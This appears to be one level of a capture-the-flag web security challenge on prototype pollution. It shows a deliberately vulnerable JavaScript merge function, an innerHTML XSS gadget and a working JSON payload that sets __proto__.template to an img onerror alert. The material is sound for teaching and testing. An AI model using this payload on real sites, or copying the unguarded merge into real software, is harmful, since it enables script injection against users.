Level 5: Prototype Pollution

MISSION: Inject a JSON payload that pollutes the Object prototype and triggers the XSS gadget.

/// SOURCE CODE INSPECTOR ///

// Client-side vulnerable merge function
function merge(target, source) {
    for (let key in source) {
        if (typeof source[key] === 'object' && source[key] !== null) {
            if (!target[key]) target[key] = {};
            merge(target[key], source[key]); // Vulnerable to __proto__ pollution
        } else {
            target[key] = source[key];
        }
    }
    return target;
}

let userInput = JSON.parse(payload);
merge({}, userInput);

// The XSS Gadget
let config = {}; 
// If config.template is undefined, it defaults to a safe string.
// BUT if the prototype is polluted, it will inherit the malicious template!
document.getElementById('render-target').innerHTML = config.template || "<b>Welcome</b>";

/// DECRYPTION COMPLETE ///

The custom merge() function recursively merges objects without checking for the __proto__ key. We can pollute the global Object prototype with a malicious template property. When the app looks for config.template, it falls back to the prototype and executes our XSS.

Payload:

{"__proto__": {"template": "<img src=x onerror=alert(1)>"}}